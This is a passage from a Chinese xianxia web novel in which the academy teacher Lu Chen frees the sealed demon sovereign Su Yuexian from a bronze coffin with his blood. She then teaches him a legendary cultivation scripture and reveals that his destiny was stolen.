“傻丫头,你不会是对人家动了什麽别的心思,被蒙瞎了眼吧。”
美妇人刮了刮少女鼻尖,柔声笑道。
“娘亲!”
长孙漠遥娇哼一声,当即站了起来。
“莫姐姐对他有意思,我可没有。”
她吐了吐香舌说道。
听到少女此言,美妇人又是噗的一笑,胸脯好似波浪般涌动,令人目光难移开。
“你莫姐姐倾心於他?那看来确实是个不可多得的人物。”
她略微思索片刻后又道。
“既然如此,那娘亲便信他一回,若真能解了你这疾症,他便是我冷月宫座上宾,若不能……”
说到此处,她的语气又变得有些许的寒意,眸子里闪烁着寒光。
“不能也便不能了,毕竟我这疾症哪怕是七品药师也无可奈何,总不能人家有好心救我,我们却恩将仇报吧。”
少女轻叹了一声又说道。
“傻丫头,还说对他没意思,照你以往的性子,若真有人骗你,那你还不得给人往死里整。”
美妇人又道。
她自然清楚自己女儿的性子,长孙漠遥性情绝不乖巧和善,相反十分的乖戾,在大炎皇朝的年轻一辈中,有妖女之称。
如今对这书院夫子百般袒护,虽不能说就是倾心於他,但想必也是多有好感。
“娘亲瞎说,漠遥可是很乖的哦。”
少女眨了眨眸子,像是山间的狡黠狐狸。
…………
白鹿书院,山峰之上。
书院祭酒姗姗来迟,见到大战留下的馀波,当下也未免有些吃惊,好端端的老友相聚,怎麽会闹成这副模样。
好在最後冷
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月宫发声要保住白鹿书院,不然以白鹿书院如今的颓势,加上倚天剑堂的威逼,恐怕真的要大厦崩塌了。
山峰之上,赵拓与书院祭酒讲述着来龙去脉,前尘往事。陆尘则是坐在崖边,目光远眺。
他在想些什麽呢?
其实他自己也不太清楚了。
但脑海里总是会闪过些画面,像是被人生生的印刻在脑海之中,绝不因时间而消散一般。
大家真的很偏心自己而忽视了楚星宇吗?
莫清寒当时与自己结为侠侣,关系自然的更亲近些。
但许端呢?
许端他对每一个人都很好,而且是属於那种尽心尽力掏心窝子,不求任何回报的好。
楚星宇或许忘了,当初在刑场他险些丧命时,是许端带着十二把刀强劫法场,重伤垂死得将他带了回来。
所以呢?
当初带着十二把刀要救下的人,最後不也刀剑相向了吗?
所以陆尘对楚星宇不会有丝毫的怜悯,对他那套说辞也不会有任何的同情。
没有那麽多的道理。
一命换一命,如此而已。
“三哥,去倚天剑堂的话,带上我。”
赵拓走到陆尘身後,声音不大,但异常坚定。
经过先前一战,他已经知晓了陆尘的实力要远胜於自己,毕竟自己与楚星宇交手,可没有把握能胜,而且是胜的那麽轻松。
“好。”
陆尘点了点头,目光依旧远眺。
“明日来内院吧。”
祭酒看着两位年轻人的背影,又悠悠说道。
“不是要去向长老们游说吗?”
陆尘愣了愣问道。
“不必了,早说你小子有这实力,老夫前些日子就拍板了,哪里还要那些老家伙同意。”
祭酒哈哈大笑起来,令原本有些凝重的氛围变得轻松不少。
陆尘也笑了笑,目光远眺,神情却依旧有些忧伤。
哪怕是杀了楚星宇,许端也不会开心的。
可又无论如何,他都要楚星宇还了许端这条命。
这是个死结,无人可解。
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第十八章 鬼泣
【姓名:萧剑寒】
【年龄:一十八】
【境界:凝气七层】
【命格:白色】
【生平:为人肆意狂傲,锺情於剑,年幼时自觉自己是剑道天才,遍访剑客名家,从无一败绩,年十八时,遇大乾皇朝之人,比剑不胜,佩剑被折,自此後心性大变,道心崩溃,终其一生也未曾走出这场败局。】
【近期遭遇:听闻大乾皇朝皇都学宫有一行人来访,其中有剑道天才,此刻问剑之心火热。】
……
【姓名:轩朗】
【年龄:一十九】
【境界:凝气六层】
【命格:黄色】
【生平:本生身於世家大族,对於修行十分懈怠散漫,但年十九时,家中生变,家族惨遭灭门,后奋发图强,终有小成,报灭门之仇。】
【近期遭遇:家中休书一封,令其即刻返家。】
……
【姓名:雪梦儿】
【年龄:一十八】
【境界:凝气九层】
【命格:蓝色】
【生平:生身苦寒之家,自幼刻苦勤勉,踏上修行路后,亦是丝毫不敢懈怠,年二十时受冷月宫云游长老赏识,收为亲传,自此後一帆风顺,终成一方大能】
【近期遭遇:因修习心法与其不适,受困於凝气九层,迟迟不能突破道台。】
这段日子以来,陆尘与在外院时并无两样,都是将各个学员的命格记录在册,一一进行相应的指点。
与外院相比,内院记录在册的命格在数量上多的多,但在质量上反而是要比外院更差。
外院只有极少数少数学员是黄蓝之色,而内院则大部分都是黄色命格,少部分是蓝色命格,除此之外,偌大一个内院,却并无蓝色之上的命格存在。
陆尘对此虽有些失望,但也并不意外。
毕竟蓝色之上的紫色,已经是一方至尊的命格,而整个东域,能号至尊者,那可是屈指可数,小小的白鹿书院能有两紫,一紫金,已经是相当不容易了。
当然这所谓的命格只代表着一种大致走向,并不是绝对的,哪怕是紫色的至尊命格,也有可能在未成长起来前便陨落,而许多身负白色命格之人,在陆尘指点过後,也悄然变成了黄色命格。
只不过受到系统限制,一人只能给予一次奖励,哪怕命格发生变化,陆尘也不能在同一个人身上再获得一次奖励。
竹屋内,陆尘眸子睁开,眼中紫气越发浓郁。
“终於到紫府境中期了。”
他长舒一口气,只觉得神清气爽,身轻体盈。
“累计快三百年紫府境修为,才堪堪突破紫府境中期。”
陆尘转念一想,当下又有些头疼,他原本资质确实平庸,在赵拓莫清寒等人都踏入上阳境时,自己却还是在凝气境界停步,但自己的身体在花神之蕊以及荒古神体精血洗礼后,早已经脱胎换骨了才对,怎麽还这般举步维艰,就好似自己身体内有着什麽无底洞一般,一直在吞噬着自己的灵气。
“莫非是你的问题?”
陆尘内视灵海,那麒麟玉影依旧在整个灵海的正中间盘踞着,好似是这片灵海的皇帝一般。
直至如今,陆尘依旧看不透它是什麽东西,也感知不到它的任何气息,唯有内视灵海时,方能知晓它的存在。
“罢了,且先不去管它。”
陆尘伸了个懒腰,将手中的学生名册翻开,思索着对他们每个人该如何指点。
初入内院之时,内院弟子对其相当不屑,只觉得陆尘自己也不过区区一紫府,有何资格去指点教导他们。
陆尘对他们也并不怪罪,内院天骄本就傲气十足,再加上祭酒并未将山峰一战之事对外宣扬,众人只觉得陆尘是抱了冷月宫的大腿方才走後门入了内院,自然对其并不服气。
但经历了这些日子的指点后,内院天骄们对陆尘亦是换了一副面孔,见到陆尘时毕恭毕敬,相隔甚远也会前来行礼,哪怕是书院祭酒,也未有陆尘的这般待遇。
内院的天骄们虽是恃才傲物,但亦是知晓有谁是真正的对自己好,对於陆尘这般掏心窝子并且正中要害的指点,自然是敬佩不已,感激不尽。
陆尘对此也十分受用,不知不觉间,已经成为白鹿书院中最令学生们爱戴的夫子,以至於其他夫子多少都有些怨言。
竹屋内,烛火晃动,忽地有风吹过,那原本就有些摇
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曳微弱的火瞬间熄灭,使得天地一黑。
陆尘皱了皱眉,将手中名册合起。
“又来了。”
他叹了口气,显得十分无奈。
“救我……救我……救我……”
断断续续的抽泣声在陆尘的耳边响起,哪怕陆尘封绝自己的五感,那声音依旧直透魂灵,挥之不去。
这已经是不知道第多少天了。
自从自己入内院执教搬来此处后,每入夜时,总会有这样一股声音在自己的耳边响起,令人异常的烦躁。
“难怪当初领我来的那人神情古怪,这地果然有问题。”
回想起领路之人的古怪神情,陆尘幡然醒悟。
“你倒是说说怎麽救你啊!”
片刻后,不堪其扰的陆尘忍不住的大声吼道。
“井……井……”
第一次,那始终如同鬼怪哭泣般的声音有了变化。
“井?”
陆尘皱了皱眉,他记得竹屋前的小院中确实有一口枯井,但看起来窸窣平常,并未有任何的异常。
这般念着,陆尘身形一闪,便是到了那口古井旁。
他俯身下看,只见古井早已乾涸,并未有任何的水纹荡漾,月色入内,也只见青苔漫漫,并未有任何异常。
“这里?”
陆尘试探性的问了一句。
“井……井……”
耳畔响起的依旧是那断断续续的抽泣之声,像是孤魂野鬼一般凄惨。
陆尘皱了皱眉,犹豫自己是否要入内。
“你……命格有缺……救我……交换……”
见陆尘在井边犹豫,那声音又断断续续的说道,似乎是提出来某种交易。
“命格有缺?”
陆尘愣了愣神,一时间竟是领会不到其中含义。
莫非自己修行如此举步维艰,便是因为这所谓的命格有缺?
想到此处,陆尘不再犹豫,猛的跳入井中,如鲸入海。
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第十九章 青铜棺
出乎陆尘的意料,井内的空间并不狭小,相反是十分的广袤,就好似里边藏了个小世界一般。
“内有洞天?没想到白鹿书院竟然会有这种地方。”
看着眼前广袤无比的一片天地,陆尘忍不住的叹道。
相传至尊一念,可成世界,到那时,一沙一叶,皆可内藏一界,玄妙无比,令人神往。
而眼前这井中世界,毫无疑问也是至尊手笔。
“好强的道痕压制。”
在进入小世界的一瞬间,陆尘便察觉到自己的灵气如同被尘封一般,极难调动 而自己的五感也消退的厉害,与凡人无异。
井中世界虽然广袤,但是混黑无比,只有一轮明月高悬,带着些许的亮光洒落。
陆尘境界受小世界压制,当下也只能借着些许的微弱月光在黑暗之中摸索,一步步向前而行。
“往前走……往前走……”
那声音断断续续的,依旧在陆尘的耳边回荡着。
陆尘皱了皱眉,心中虽有些许的疑惑,但既然已经来了此处,只能是按捺下心中疑惑,一步步的向前而行。
前路漫漫,陆尘也不知自己走了多久。
此方天地有莫名的道痕压制,陆尘虽为紫府境修士,亦是只能一步一行,如同是凡人一般,这般漫长跋涉下来,已经是筋疲力尽,分外难受了。
“向前走……向前走……”
那道声音却不管陆尘的劳累,依旧不断催促着。
“你最好没在耍我。”
陆尘暗骂一句,当下已经上了贼船,也只能是一条路走到黑了。
长路漫漫,不知过了多久,不知跋涉了多少路程,陆尘终於看到除了明月外,别的闪着光亮的东西。
那是一团火,一团飘浮着蓝色火焰。
火焰摇曳着,在月色映照下显得十分妖魅,如同像是陆尘前世传说中的鬼火一般。
“救我……救我……”
断断续续的抽泣声从蓝色火焰身上传出。
陆尘微微一愣,没有想到骚扰自己这麽多天的凄惨叫声竟是从一团火焰身上传出的。
“不许鬼叫,快说我该如何救你。”
陆尘呵斥一声,那断断续续的抽泣声竟然真的停止,不再在陆尘的耳边回荡。
火焰身影跳动,像是指路的明灯一般带着陆尘穿过一条弯弯绕绕的小道,最终到了一片竹林之中。
竹林中竹叶飘零,在那蓝色火焰的照耀下,显得异常的森然,有一股寂静的死气弥漫着,令陆尘踏入的一刹那便有些头皮发麻。
“这是……青铜棺?”
迈入竹林的深处,一副青铜棺猛的映入眼帘,拦在了陆尘的身前。
青铜棺上有着极为粗大的锁链缠绕,像是在封存着什麽极为恐怖的东西一般。
哪怕远远隔着,陆尘也能感受到这青铜棺以及那粗壮锁链的不凡,哪怕是白鹿书院的镇院灵器与之相比,也不过是萤火比之皓月,里间有着天壤之别。
“血……血……”
那火焰在陆尘的眼前不断晃动,又发出断断续续的声音。
陆尘走到棺前,忽地感受到分外窒息的压迫感,就好似在面临着荒古时的圣物一般,压的人喘不过气来。
“是要我的血吗?”
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他问道。
“血……血……”
那火焰依旧断断续续的如此说道。
陆尘站在棺前,一时间有些犹豫。
无论是这口青铜棺还是这粗壮的锁链,都绝非是凡品,绝对是自己所想象不到的位格,而需要这般神器镇压的东西,那会是什麽呢?
若真放了出来,是什麽丧心病狂的大魔头之类的东西,那自己岂不是死无葬身之地?
他转过头,又看向那团蓝色火焰。
蓝色火焰在陆尘的面前不断摇曳着,看起来十分的焦急。
“救我……交换……”
火焰断断续续的抽泣声再度响起,陆尘却丝毫不为所动。
命只有一次,他自然不会这麽轻易的拿去赌。
“武道天眼,开!”
陆尘将目光移回青铜棺上,双眸浮现出一片雾气。
若武道天眼能看出些什麽,陆尘自然愿意去做这笔交易,若是连武道天眼也并不知晓棺中何物,那麽陆尘觉得自己属实无需去冒这个不必要的风险
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。
在那层薄雾附着的眸子下,青铜棺竟是变得透彻清晰起来。
古老而又晦涩的符文浮现在陆尘的眼前,其中的每一个字都彷佛蕴含着无限伟力,若是凝神观看,免不得要陷入其中,陆尘仅是看了一眼,当即便将目光偏移,不敢再沉沦其中。
符文遍布於棺的两侧,而越过这些繁杂晦涩的符文,便能瞧见有一身披金缕玉衣的女人平躺在棺中,哪怕女人面色惨白,没有丝毫血色,陆尘依旧不禁感叹其容貌之惊人,比之长孙漠遥,更是有过之而无不及。
“这麽个倾城之貌的女子,竟然要用青铜棺以及这绝非凡品的锁链锁着?”
陆尘愣神良久,不免感慨。
【姓名:苏月仙】
【年龄:三千零二十六】
【境界:至尊】
【命格:淡彩】
【生平:天资卓绝,才情惊艳之女,其出身上古圣地,年七岁时便选为一宗之圣女,享无上荣耀。
年十六时,遍访各圣地世家圣子神女,从无败绩,以绝代之姿问鼎同辈第一。
同辈中人难以望其项背。
历届圣女都需与本宗神子结为道侣,然苏月仙之惊才绝艳,自古未有,故而师门也并不强求其与神子结为为道侣。
后遭同宗神子之嫉恨,宗门神子与敌对势力勾结,暗害师尊,嫁祸给苏月仙,在敌对势力的扶持下成为一宗之主。
而苏月仙太过天姿惊艳,整个东域所有宗门都怕其成长起来,故而联合起来,对苏月仙赶尽杀绝,一时之间,苏月仙天下皆敌,后苏月仙为报师仇,强行堕入魔道,杀的东域血雨腥风,最终引出万年不出的大人物强行镇压,封锁於青铜棺之中,加之困龙锁,流放於小世界中。
数千年後,苏月仙破棺而出,破至尊桎梏,登临道君之位。
以道君之果位将东域再度血洗,后破境,入帝路争锋帝位。
帝路尽头,败於天渊之人,失帝位。】
【近期遭遇:受困於青铜棺中,不得出,神魂分离,境界十不存一。】
在武道天眼的窥视下,密密麻麻的小字浮现在陆尘眼前,诉说着棺中女子的生平。
陆尘呆愣在原地,如遭雷击。
第二十章 天下第一心经
陆尘其实隐隐间有预感,知晓这青铜棺中会是个了不起的人物,但这了不起的程度,还是超乎了陆尘的预料。
年十六便在同辈天骄之中称尊,毫无疑问的第一人,压的所有神子圣女黯淡无光。
后遭天下追杀,更是转入魔道杀的东域人仰马翻,血雨腥风,只能请出万年不出的老乌龟对其强行镇压。
这般天资卓绝,惊才绝艳之辈,恐怕一个纪元也只有区区数位可以堪比。
“淡彩色,看来与帝位只有一步之遥,若不是被强行镇压数千年,恐怕这位还真有可能夺得帝位,君临天下。”
陆尘看着那些密密麻麻的小字,忍不住的感叹道。
这是他至今为止所遇到的命格最重之人,并且在之後的很长一段时间内,恐怕都不会遇见这般人物了。
他转过头,看向那团蓝色火焰。
“你是她的魂?”
陆尘问道。
“一缕……分魂……”
蓝色的火焰漂浮着说道。
“你确定我解开这青铜棺后,这人不会压制不住魔性给我宰了吧?”
虽说淡彩色命格对陆尘来说有着致命的吸引力,但陆尘觉得自己最好是小心谨慎些。
毕竟按照武道天眼的说法,苏月仙已经堕入魔道,谁知道女魔头是怎麽行事的,哪怕苏月仙的实力十不存一,那也是至尊境界的十不存一,随便动动手指头都够陆尘灰飞烟灭的。
“不会……我……虚弱。”
火焰中传出断断续续的抽泣声,它随风摇晃着,在月色照耀下显得像一朵幽蓝色的花,令人沉迷於其绚丽。
陆尘犹豫再三,最终还是站在了青铜棺前,食指轻点而出,鲜血便自指尖滴落。
鲜红色的血滴落在青铜棺上的一瞬间,原本极为粗壮的锁链竟好似是碰到洪水猛兽一般,极致的收缩起来,很快的脱落在地。
鲜血一滴滴的滴落,极为灵性的从缝隙之处渗入棺内,落在女子的眉心。
女子原本苍白的面孔终於有了血色,身上的死寂之气也逐渐消散,转而化为如海般汹涌的灵气。
砰的一声!
浩瀚的灵气自棺内宣泄而出,失去困龙锁镇压的棺盖猛的被这股灵气震开。
陆尘亦是受到这股灵气的波荡,猛的吐出一口鲜血。
见青铜棺打开,那蓝色火焰当即如流星般迅速的涌入棺中,融入女子的体内。
女子的眉心处缓缓有着一道火焰痕迹缓慢显现,待得火焰痕迹完全成型后,女子双眸缓缓睁开,眼中有星辰灿烂。
她缓缓起身,那双灿若星辰的眸子缓缓打量着陆尘。
“魔尊姐姐,记得是我救了你。”
尽管此时女子身上并未有丝毫的灵气波动,但陆尘却感受到一股分外窒息的压迫感,如同是天幕将倾一般,令人难以抵抗。
陆尘强行挤出笑意说了个俏皮话,生怕女子刚苏醒时脑子不清醒,一掌给自己灰都扬了。
“本尊知道。”
苏月仙轻声而语,声音虽是带着一丝冷意,但却分外动听,如同天上之仙乐一般悦耳。
“但本尊还是离不开这青铜棺。”
她眉头微蹙,哪怕是面露愁容,亦是一副倾城之态,令人免不了的为之动容。
陆尘微微一愣,察觉到苏月仙的状态确实有些不对。
她虽起身,但依旧是半躺在棺中,并未离开分毫。
“难怪系统还未给予我奖励……”
陆尘默默念道。
“本尊需一枚九品阶级的九转还魂丹,方可使神魂与肉身彻底交融,离开这青铜棺,以我如今姿态,若是强行离开青铜棺,神魂必将遭受重创,恐再难恢复。”
苏月仙看向陆尘说道。
她的眸子闪烁着璀璨的星光,眼巴巴的看着陆尘。
此时此刻,女子并不像什麽杀的天下人仰马翻的女魔头,倒像是期待着桂花糕的贪吃小女孩。
陆尘嘴角抽搐,受不了女子这目光,把头往别处拧。
开玩笑,九品丹药,别说是自己这麽个穷夫子了,哪怕是东域的那些庞然大物,也不一定拿的出来。
“也对,你区区紫府境界,怎麽可能有九品丹药,不怪你。”
苏月仙忽地像是意识到了什麽,叹了口气说道。
陆尘满头黑线,什麽叫不怪我?搞得好像自己真做错了什麽一样!
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> “二十七岁,紫府境界,好弱呀。”
苏月仙的目光落在陆尘身上,十分的悲悯,像是在看只无家可归的小野猫一般。
陆尘有些不想说话了。
“不过你既然有恩於本尊,本尊定会助你脱胎换骨的。”
苏月仙拍了拍自己并不饱满的胸脯,信誓旦旦的说道。
陆尘已经是头大如斗,属实没想到威震天下的女魔头会是这麽个性子。
那可是一人一剑与整片东域为敌的女魔头啊!不应该是那种一声不吭见人只会拔剑的狠角色吗?
怎麽这副有些呆呆傻傻的模样?
“虽然你只有区区紫府,年纪也大,但在本尊的指点下,想必要不了多久,你的名字就会响彻这天下的。”
苏月仙倒并未注意到陆尘的沉默,依旧自顾自的说道。
能不能别老提区区紫府了啊?
紫府怎麽你了啊?
紫府在大离王朝可是高手中的高手啊!
陆尘心中叫苦连天,但脸上还是挤出笑意,一脸的狗腿子模样。
“魔尊姐姐有何指点?晚辈洗耳恭听!”
“你这心法……”
苏月仙晃了晃脑袋,面露悲悯之色。
陆尘对此这种眼神已经习惯了,哪怕他所修行的心法是地阶上品心法,在苏月仙的眼里恐怕也和黄阶心法没什麽两样。
“你知道《太上开天经》吗?”
苏月仙问道。
陆尘摇了摇头。
“也对,可怜孩子,怎麽会知道这种东西。”
苏月仙叹了一声,看向陆尘的眼神更加怜悯。
够了啊!
我没有惨到这种地步啊!
别再这麽看着我了啊!
“《太上开天经》乃是天下当之无愧的第一心经,哪怕是大帝心经与之相比,也是略输一筹,你想学吗?”
苏月仙看向陆尘问道。
对!就是这种眼神!
就是这种看可怜小狗一样的眼神!
汪汪汪!
我是魔尊姐姐的狗!
“想!”
陆尘十分狗腿的笑着说道。
第二十一章 命格有缺
“《太上开天经》共有十五篇,对应着修行路上的十五境,其虽为天下第一心经,但只有前六篇在世家圣地之中流传,其馀九篇散轶於古史之中,千年难得一见。”
苏月仙顿了顿说道。
修行路共有十五境,陆尘身处紫府境界,为修行路上的第四境。
而苏月仙的至尊境界则已是位於第十二境,放之五域四海,亦是站在顶峰的那极少数人之一。
“本尊在修行路上又搜寻到了神游丶封侯丶封王等三篇,共计九篇。”
锻体丶凝气丶道台丶紫府丶上阳丶太阴丶神游丶封侯丶封王,此即修行路上的前九大境界。
常人到达上阳境时,已堪称一方宗师,若是能达到神游之境,那便是世俗百姓常说的神仙人物。
至於封王境,与其名称相应,达到此境界的修行者可裂土封王,一念左右亿万生灵之生死。
“不过《太上开天经》晦涩难悟,若你始终不得其法,倒也无需强求。”
苏月仙这般说着,玉手轻挥,原本刻印在青铜棺上的那些符文竟是缓缓浮现出来,生生的落在陆尘的眼前。
“这些就是《太上开天经》?”
陆尘微微愣神,他第一次见到这些符文时险些沉沦其中,没想到这便是所谓的天下第一心法。
“若你自行修行,必沉沦於其中,本尊为你护道,你方可入门。”
苏月仙额头的火焰痕迹亮起,原本那些极为晦涩的符文竟然变得十分浅显易懂,就好似是孩童蒙学所用的书文一般。
“你只有一炷香的时间参悟,若是一炷香之内未能领悟太上开天经的《锻体篇》,便说明你与此经无缘。”
听到苏月仙此言,陆尘收起杂念,当下冥想打坐,感悟着这玄妙无比的经文。
“太初始分别天地清浊,剖判涬溟鸿蒙……”
随着陆尘的念头收起,沉浸在这篇经文之中。一瞬之间,只觉得自己飘忽着来到了一片混沌之地,好似是天地未开之时。
混沌之气浑浊,但其中又蕴含着极为磅礴的浩瀚之力,远非现实世界中弥漫着的天地灵气所能比拟的。
陆尘置身混沌之中,无形的压力从四面八方袭来,皆浩荡无比,想要将陆尘碾碎。
若不是身负荒古神体精血,肉身横练无匹,陆尘真觉得自己要葬身於这混沌之中。
他能听见自己浑身上下的骨骼发出咯吱般的响声,剧烈的疼痛之感一瞬间遍布陆尘的全身,令其头疼欲裂,几欲晕厥。
这般痛楚之感持续相当之久,混沌之气如同是一柄不知疲倦的巨大铁锤,而陆尘自己则是那块钢铁。
铁锤不断敲打着钢铁,若是能抗住铁锤的重击,自然可以百炼成精金,若是不能,那钢铁也只能变成废铁。
陆尘此刻便处於这麽一种状态,他知晓若自己的意志稍有松懈,那麽很快的便会被把柄铁锤砸烂,只有挺过去,方可百炼成精。
苏月仙看着闭目冥想,满头大汗,面露痛苦神情的陆尘,幽幽叹了口气。
“有那麽难吗?”
她有些记不清自己年幼时修习太上开天经的场景了,又或者说这东西根本就没有能让苏月仙有任何记忆的点。
毕竟修行对她来说如喝水般简单,而没有人会清楚的记得自己是什麽时候喝了杯或冷或热的水的。
良久后,陆尘的眸子终於睁开,眼中有着混沌之气流淌,使之眼神深邃,如古井一般难以看透。
“不愧是天下第一心法,诚不欺我。”
陆尘感受着全身上下的变化,忍不住的赞叹道。
哪怕只是初㣉门《太上开天经》的锻体篇,也给陆尘带来了极大的增益。
他的灵气此时带着丝丝缕缕的雾气,已经有向混沌之气转变的倾向,而其锻体之境亦是重新在太上开天经的影响下重新打磨,使境界根基更为牢固,远胜修行《大炎焚心》时。
“其馀八篇本尊已经刻在你的灵海之中,待到锻体篇打磨彻底,便可以开始凝气道台篇的修行了。”
苏月仙玉指轻点,那些繁杂的符文便在一瞬之间融㣉陆尘的体内。
陆尘自视灵海,已是发觉那些符文印刻在九阶道台之上,如同是一首首诗篇一般。
“其实呢,你修行的这麽慢,也不怪你。”
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苏月仙上下打量陆尘良久,目光又变得有些悲悯。
但她这悲悯目光又和先前那看小猫小狗的目光不太同,至於是为什麽,陆尘也是一头雾水。
“有什麽说法吗?”
陆尘问道,已经做好了苏月仙语出惊人的准备。
但出乎陆尘的预料,苏月仙脸上的神情极为认真,似乎在思索着什麽。
“你知道你的命格气运有缺吗?”
苏月仙歪了歪脑袋问道。
陆尘微微一怔,有些不明白苏月仙在说些什麽。
“你是不是常常感觉自己修行举步维艰,明明心有所悟,却始终不能破境?”
苏月仙说道。
“对。”
陆尘皱了皱眉,他确实有这般感觉。
照理来说他资质再怎
麽平庸,在历经花神之蕊以及荒古神体精血洗礼后,也应该脱胎换骨了才对,怎麽会和之前一样,随便一个小境界都要数百年的修为填补。
“这便是气运有缺带来的反噬,在你将缺失的这部分气运夺回来之前,始终会受到这股反噬,使你在修行路上举步维艰。”
苏月仙想说些安慰话,但她并不怎麽会安慰人,想想也便作罢了。
“夺回气运?什麽意思?”
陆尘越发不明白。
“若本尊没看错的话,你曾是身负天大气运之人,气运好到什麽程度呢……可能跟我差不多吧……”
苏月仙沉吟片刻后说道。
虽说苏月仙这话听着像在夸自己,但陆尘却知晓能从苏月仙口中听到这番话,那麽说明自己曾经所负的气运确实非凡。
“但是呢,你这天大的气运被人设局篡夺了,并且篡夺气运之人用心极为险恶,有意的在你身上留下了一丝气运。”
“刻意留下的这丝气运非但不会对你有任何的益处,反而会出於本能的不断掠夺你的神魄以及灵气。”
“此之谓,反噬。”
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第二十二章 流离之人
“夺舍气运之法有违天道,故而天底下也没多少宗门会这门术法,哪怕是本尊当初所在的宗门,也没有这般秘术。”
苏月仙叹了口气,眼神幽幽说道。
陆尘眉头紧锁,一时间竟是没有半点头绪。
他来到这个世界时,原主已经是个流浪四处的孤儿,陆尘与原主的记忆相融时,也没有任何有关气运被夺的记忆。
准确来说,幼年时的记忆陆尘至今仍是一片朦胧,原些陆尘对此也并不奇怪,毕竟这是很常见的现象。
但如今听苏月仙这麽一说,陆尘倒觉得自己幼年的记忆缺失的十分厉害,朦朦胧胧间好像记得什麽,但实际上却是一片空白。
“夺舍……”
陆尘嘴中呢喃着这两个字,脊椎不免一阵发凉,好似有人在背後的阴影处死死的盯着自己一般。
“那有什麽法子补救吗?”
陆尘又问道。
照苏月仙所说,自己气运遭窃,命格遭受反噬,因此体内残留的一丝气运拚命的吸食吞噬自己的灵气,这才导致自己修行如此艰难。
虽说有着系统的奖励令陆尘突破到紫府境界,但无论如何,他也不想接着这样要去。
仅仅是紫府的一个小境界便要三百年的修为填补,天知道境界更高时,所需要的修为会有多麽的恐怖。
“倒是有……”
苏月仙略微思索了片刻后说道。
“但都很难办,甚至可以说,对於你这区区紫府境难如登天。”
她眉头微蹙,脸上带着一丝愁容。
“没事,有法子就行。”
会有多难,陆尘倒是并不在意。
“法子有两个,第一是找到夺取你气运之人,将气运夺回,第二则是找到一株不死药。”
苏月仙说道。
“不死药?”
陆尘愣了一愣,并未曾听过此物。
“不死药又称长生药,不在仙草的九品之列,你可以理解为九品之上的仙草。”
苏月仙想了想,用了个通俗易懂的说法解释道。
“这东西真的找得到吗?”
陆尘皱了皱眉,七品以上的仙草已经是世之罕见,更别说是不在九品之列的了。
“长生药只会伴随帝路出现,按照古史记载,夺得长生药者无一例外,都已登临帝位。”
苏月仙看着陆尘,有些无奈的说道。
陆尘嘴角抽搐,真到了帝路争锋之时,哪还会受所谓的气运影响。
“那意思是只有前一个法子可行了?”
他皱了皱眉,心中无端的涌出一股愤慨,这股愤慨来的十分奇怪,好像是有人在影响着自己的情绪一般。
“对,而且你无需担心找不到那人,他会自己找上门的。”
苏月仙顿了顿说道。
“据本尊猜想,他之所以给你留下了一丝气运,想必是把你当成了一块庄稼地,用以供养那一丝气运,待到庄稼成熟了,他自然会找上门收割。”
“好大的手笔。”
陆尘呵呵笑了笑,眸子里有丝丝缕缕的杀意涌现。
“无妨,既然你救了本尊,本尊会一直罩着你。”
苏月仙信誓旦旦的说道,尽管她的目光依旧是那种看可怜小狗的眼神,但陆尘此时已经十分习惯,甚至觉得有些安心。
明明是个惨遭同门陷害,被天下追杀而堕㣉魔道的女子,却依旧未变成女魔头的性子,心智仍和天真少女无异。
“这是九转还魂丹的药方,虽说你现在可能一味药材都找不到,但也可以多留心留心。”
一张金色的纸片飞㣉陆尘的灵海之中,陆尘内视灵海,不免为这张药方上的药材所震惊。
“十一境龙类妖兽精血丶九品魂牵草丶九品灵瑶碧池果……”
其中的每一味药材都堪称罕见,更别说哪怕将之集齐,也未必就能炼出九品丹药。
要知道大离王朝那位被奉为炼药宗师的男人,也不过只有区区四品。
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要寻到一位九品炼药师炼制九品丹药,其难度甚至要超过找齐这些药材。
陆尘叹了口气,看来短时间内是拿不到苏月仙这份气运奖励了。
不过算算时间,也快到八月十五了。
长孙漠遥那份金色气运的奖励,想必不会让人失望。
“还有这些药方,每一张对应一境,服用后可以暂时减缓在此境界遭受的气运反噬,虽说是治标不治本之效,但总比没有要好些。”
苏月仙想了想,玉手轻轻一点,便又有好几张药方飞出,一一隐入陆尘灵海之中。
“你怎麽有这麽多药方?”
陆尘愣了一愣问道。
“很多年前的事啦,当时被整个东域的大势力追杀,本尊一边打一边跑,顺路就搜集了很多药方,吃完药接着打,打完人就接着跑。”
苏月仙笑了笑说道。
明明是血雨腥风的往事,她却说的极为轻松,就好像件再寻常不过的事情一般。
但陆尘却看出她的眸子明显一黯,显然那段岁
月并不像她说得那般随意。
她想了想,又伸出玉指凭空勾画,只见一道繁杂而又晦涩的符文缓缓成型,一瞬间如光点般闪过,没入陆尘掌心之中。
陆尘看着自己掌心处那道符文,只觉得其中蕴含着极为恐
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怖的气息。
“这道符文约摸等於神游境强者的全力一击,省着点用。”
神游境,位於修行十五境之中的第七境,此境修士可魂游天地间,不受山川大河拘束,故此称神游。
“这麽强……”
陆尘稍稍一怔,要知道大离王朝之中,第六境——太阴境已经几近无敌,自己身负神游境全力一击的大杀器,那岂不是能横着走。
“本尊虽离不开青铜棺,甚至还要再度陷入沉睡,但你若有急事相求,亦可来此寻我,若无急事,便在突破上阳境后,再来寻本尊。”
话说着,苏月仙眸子微眯,伸了个懒腰,显露出玲珑曲线。
她似乎有些乏了,脸色又变的十分苍白,双眸失神。
“知道怎麽唤醒本尊吧,用你的血便可。”
她又补充说道。
陆尘点了点头,鬼使神差的,竟将手递到苏月仙面前。
苏月仙愣了一愣,眸子里的困意一瞬间便烟消云散。
她抬头看向陆尘,竟是忍不住的咽了咽口水,就好似是贪吃的少女看到了最喜爱的桂花糕一般。
“咬吧。”
陆尘笑了笑说道。
苏月仙也不再客气,尖牙一口咬在陆尘手臂上,而後像只小猫一样的舔舐着溢出的鲜血。
陆尘看着女子侧脸,只觉得她属实不像是什麽杀人不眨眼的女魔头。
像个小女孩,像个无家可归的,流浪猫一样的小女孩。
他忽地发现苏月仙为什麽总会用那种看着流浪猫一样的目光看着自己。
那是一种看到同类后才会流露的目光。
在武道天眼那短短几行字里,苏月仙到底经历了什麽,陆尘可以想象。
良久后,苏月仙心满意足的放下陆尘手臂,而後躺入棺材板中,双眸紧闭,嘴角却依旧挂着笑意。
“我有空便过来看你,无需客气。”
陆尘笑了笑说道,对於紫府修士而言,几滴精血自然算不得什麽。
他其实看的出,说话时苏月仙总是在刻意抑制着什麽,直到苏月仙点明要用鲜血唤醒自己后,陆尘才意识到苏月仙抑制的是自己想要吸血的欲望。
“不必啦,本尊要沉睡静养一段时间。”
苏月仙躺在棺材中,闭着眼睛言不由心的说道。
